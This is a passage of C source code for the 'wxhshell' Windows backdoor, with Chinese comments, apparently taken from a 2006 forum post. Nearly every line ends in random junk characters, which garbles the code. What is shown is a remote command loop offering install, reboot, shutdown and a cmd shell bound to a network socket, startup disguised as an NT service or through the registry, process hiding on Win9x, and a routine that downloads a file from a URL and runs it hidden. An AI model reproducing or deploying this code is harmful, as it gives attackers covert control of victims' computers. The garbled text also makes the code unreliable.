  } B YB9M  
  // 安装 o(v`  
  case 'i': { 3@eI? (N  
    if(Install()) ~7}no}7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sR PQr ?  
    else _d~GY,WTdO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n3J,`1*ct  
    break; lbIW1z%:sy  
    } {DvWa|  
  // 卸载 :.H@tBi*E  
  case 'r': { fU.hb%m)Q\  
    if(Uninstall()) 8z=o.\@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yy[=E\z  
    else ^+~$eg&js  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uq:'`o-1  
    break; uJ=&++[  
    } ArX*3  
  // 显示 wxhshell 所在路径 Jp)PKS ![  
  case 'p': { Gg6cjc=dC  
    char svExeFile[MAX_PATH]; $+e(k~  
    strcpy(svExeFile,"\n\r"); {3vm]  
      strcat(svExeFile,ExeFile); Rbm+V{EF&  
        send(wsh,svExeFile,strlen(svExeFile),0); ' )F@em  
    break; [uie]*^  
    } j }^?Snq  
  // 重启 rf$[8d  
  case 'b': { \2@9k`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J=^5GfM)J  
    if(Boot(REBOOT)) ND9;%<80  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *sfz+8Y  
    else { !5m~qet.  
    closesocket(wsh); h*P0;V`UX  
    ExitThread(0); ]6=opvm  
    } g+.E=Ef8<4  
    break; aM[fag$c  
    } cEJ_z(\=hr  
  // 关机 F r2 +p  
  case 'd': { ,h3,& ,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  ;XYfw)  
    if(Boot(SHUTDOWN)) ~|KMxY(:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?aG~E  
    else { d9D*w/clMi  
    closesocket(wsh); #2.C$  
    ExitThread(0); `~=Is.V[  
    } ^kB9 I8u  
    break; 0Z%<H\Z  
    } S!}pL8OE  
  // 获取shell 8r\xQr'8h  
  case 's': { . 55aY~We  
    CmdShell(wsh); Yic'p0< ?V  
    closesocket(wsh); -IV-"-6(  
    ExitThread(0); a~tBgy+9  
    break; ~}~ yR*K%  
  } WWTJ%Rd|  
  // 退出 yNx"Ey dk`  
  case 'x': { XnvaT(k7Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x~yd/ R  
    CloseIt(wsh); [qt^gy)  
    break; v#sx9$K T  
    } ^T@-yys  
  // 离开 /_bM~g  
  case 'q': { V|0UwS\n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -H_7GVSnl  
    closesocket(wsh); BT{({3  
    WSACleanup(); uqy~hY  
    exit(1); p@znmn-  
    break; ^h|'\-d\  
        } n_] OYG>U  
  } |om3*]7  
  } ~Uz|sQ*G  
KQqQ@D&n  
  // 提示信息 tX}Fb0y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `+@%l*TQ  
} [c6_6q As  
  } }KkH7XksF  
F{<r IR  
  return; }@A~a`9g  
} .~8IW,[  
t! Av [K  
// shell模块句柄 Vk~}^;`Y  
int CmdShell(SOCKET sock) G}~b  
{  *JOv  
STARTUPINFO si; q`;URkjk  
ZeroMemory(&si,sizeof(si)); 4]8PF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1$2Rs-J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CUw 9aH  
PROCESS_INFORMATION ProcessInfo; 1r w>gR  
char cmdline[]="cmd"; qOa-@MN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~GY;{  
  return 0; IWpUbD|kC  
}  Q{Bj(f  
7y`~T+  
// 自身启动模式 2W~2Hk=0+%  
int StartFromService(void) TT&!WbA-Hk  
{ j({L6</x  
typedef struct Ap>n4~  
{ !! K=v7M  
  DWORD ExitStatus; ,|c_l)  
  DWORD PebBaseAddress; ~d5{Q?T)  
  DWORD AffinityMask; 'Ph;:EMj  
  DWORD BasePriority;  y.eBFf  
  ULONG UniqueProcessId; I2l'y8)d  
  ULONG InheritedFromUniqueProcessId; *'t`;m~  
}   PROCESS_BASIC_INFORMATION; }&naP   
y! 1NS  
PROCNTQSIP NtQueryInformationProcess; P?uKDON  
(c*Dvpo1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YvHn~gNPhs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +yea}uUE  
Rx<pV_|H,  
  HANDLE             hProcess; XKK*RVs#  
  PROCESS_BASIC_INFORMATION pbi; <(t<gS#  
JT-Zo OZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cw2+@7?|  
  if(NULL == hInst ) return 0; n*xNMw1x"T  
aY+>85?g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LtvyWc`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ) D`_V.,W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Z/ySAFM  
&boBu^,94  
  if (!NtQueryInformationProcess) return 0; q.X-2jjpx:  
(6+0U1[Iz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tE>:kx0*3  
  if(!hProcess) return 0; RGKJO_*J2  
+[7u>RJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K^vMIoh  
z'I0UB#  
  CloseHandle(hProcess); NV;tsuA|  
MdfkC6P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6a!X`%N=  
if(hProcess==NULL) return 0; VEZ/-s/  
fj JIF%  
HMODULE hMod; *Ee# x!O  
char procName[255]; %qv7;E2C  
unsigned long cbNeeded; zC^Ib&gm>,  
g/yXPzLU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cK } Qu  
vNt2s)J$  
  CloseHandle(hProcess); u!S{[7 FY  
A| +{x4s`  
if(strstr(procName,"services")) return 1; // 以服务启动 8YJ({ Ou_  
_[7uLWyC9  
  return 0; // 注册表启动 &pAT  
} pQhv3F  
GgYomR:  
// 主模块 Vqr&)i"b$  
int StartWxhshell(LPSTR lpCmdLine) eyWwE%  
{ DQ}]'*@?  
  SOCKET wsl; ] 7O?c=  
BOOL val=TRUE; -|kDa1knA  
  int port=0; YD%Kd&es  
  struct sockaddr_in door; sig_2;  
3N21[i2/m  
  if(wscfg.ws_autoins) Install(); ;vx9xs?6  
C u:-<  
port=atoi(lpCmdLine); h^)2:0#{I  
dd+).*  
if(port<=0) port=wscfg.ws_port; xVP GlU  
b6(yyYdF  
  WSADATA data; Bk F[nL*|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G~Sfpf  
re*/JkDq3K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;D7jE+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A!~o?ej  
  door.sin_family = AF_INET; ^pP 14y*go  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gs3}rW  
  door.sin_port = htons(port); A.FI] K@  
73.b9mF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m~K]|]iqQ  
closesocket(wsl); zl[JnVF\6  
return 1; {mQJ6 G'ny  
} #@fypCc  
gr=`_k4~1  
  if(listen(wsl,2) == INVALID_SOCKET) { >seB["C  
closesocket(wsl); BSY#xe V  
return 1; m @%|Q;  
} wMoAvA_oS  
  Wxhshell(wsl); @!da1jN  
  WSACleanup(); +*q@=P,  
/~[R u  
return 0; >>r:L3<!  
*Y ZLQT  
} -G 'lyH  
e{,/  
// 以NT服务方式启动 mI%/k7:sf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) URgF8?n  
{ pS \>X_G3  
DWORD   status = 0; AngwBZ@  
  DWORD   specificError = 0xfffffff; ||=Duk  
&?nF' ;&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; di 5_5_$`o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A@OV!DJe]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hz%IxI9  
  serviceStatus.dwWin32ExitCode     = 0; ap~Iz  
  serviceStatus.dwServiceSpecificExitCode = 0; xTMTkVa+B  
  serviceStatus.dwCheckPoint       = 0; [)A#9L~s=  
  serviceStatus.dwWaitHint       = 0; *&]l  
2LU'C,o?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P>-,6a>  
  if (hServiceStatusHandle==0) return; ? h%+2  
=.a ]?&Yyh  
status = GetLastError(); Ah6x2(:  
  if (status!=NO_ERROR) 08a|]li  
{ [Bo$?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KF)i66  
    serviceStatus.dwCheckPoint       = 0; 0 y%R  
    serviceStatus.dwWaitHint       = 0; }[`?#`sW  
    serviceStatus.dwWin32ExitCode     = status; t,,^^ll  
    serviceStatus.dwServiceSpecificExitCode = specificError; v"+EBfx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  $wTX  
    return; b3lpNJ J  
  } KoJG! Rm  
r `dU (T!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -huZnDN  
  serviceStatus.dwCheckPoint       = 0; (SK5pU  
  serviceStatus.dwWaitHint       = 0; ]w>fnew  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N sL"p2w~  
} uw!|G>  
"S:N- Tf%U  
// 处理NT服务事件,比如:启动、停止 8A.7=C' z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'wrpW#  
{ tqCg<NH.!m  
switch(fdwControl) [@Y q^.6t  
{ C6~dN& q  
case SERVICE_CONTROL_STOP: /p0LtUMu  
  serviceStatus.dwWin32ExitCode = 0; us%RQ8=k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [udV }  
  serviceStatus.dwCheckPoint   = 0; Y +54z/{  
  serviceStatus.dwWaitHint     = 0; Ui!|!V-  
  { gUA}%YXe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nh)R  
  } `F8;{`a  
  return; w.p'Dpw  
case SERVICE_CONTROL_PAUSE: t8 "-zd8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "lf3hWGw  
  break; _ZBR<{  
case SERVICE_CONTROL_CONTINUE: .~ lt+M9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qI*1+R}  
  break; q&T'x> /  
case SERVICE_CONTROL_INTERROGATE: f*}E\,V"&  
  break; CJ  
}; t}*!UixE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (t$/G3E  
} cV,Dl`1r  
Po. BcytM  
// 标准应用程序主函数 \r,. hUp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $:II @=  
{ #9VY[<  
#/<Y!qV&  
// 获取操作系统版本 4 GW[GT  
OsIsNt=GetOsVer(); g}QTZT8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1iL xXd  
}F6b ]  
  // 从命令行安装 G | oG:  
  if(strpbrk(lpCmdLine,"iI")) Install(); )%w8>1 }c  
DW&')gfQ  
  // 下载执行文件 yuDd% 1k  
if(wscfg.ws_downexe) { :~R Fy?xRa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4^_Au^8R(  
  WinExec(wscfg.ws_filenam,SW_HIDE); #-j! ;?  
} B-'BJ|*4I  
8k?L{hF|nW  
if(!OsIsNt) { }AZx/[k |z  
// 如果时win9x,隐藏进程并且设置为注册表启动 *[:CbFE0y  
HideProc(); Yka&Kkw  
StartWxhshell(lpCmdLine); \ZWmef  
} _J~ta.  
else <L/vNP  
  if(StartFromService()) sNmC#,  
  // 以服务方式启动 \'tz|  
  StartServiceCtrlDispatcher(DispatchTable); $'{`i 5XB  
else vqz#V=J{  
  // 普通方式启动 -01 1U!  
  StartWxhshell(lpCmdLine); 0P3|1=  
@ aN=U=  
return 0; aw%vu  
}
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只看该作者 1 发表于: 2006-10-10
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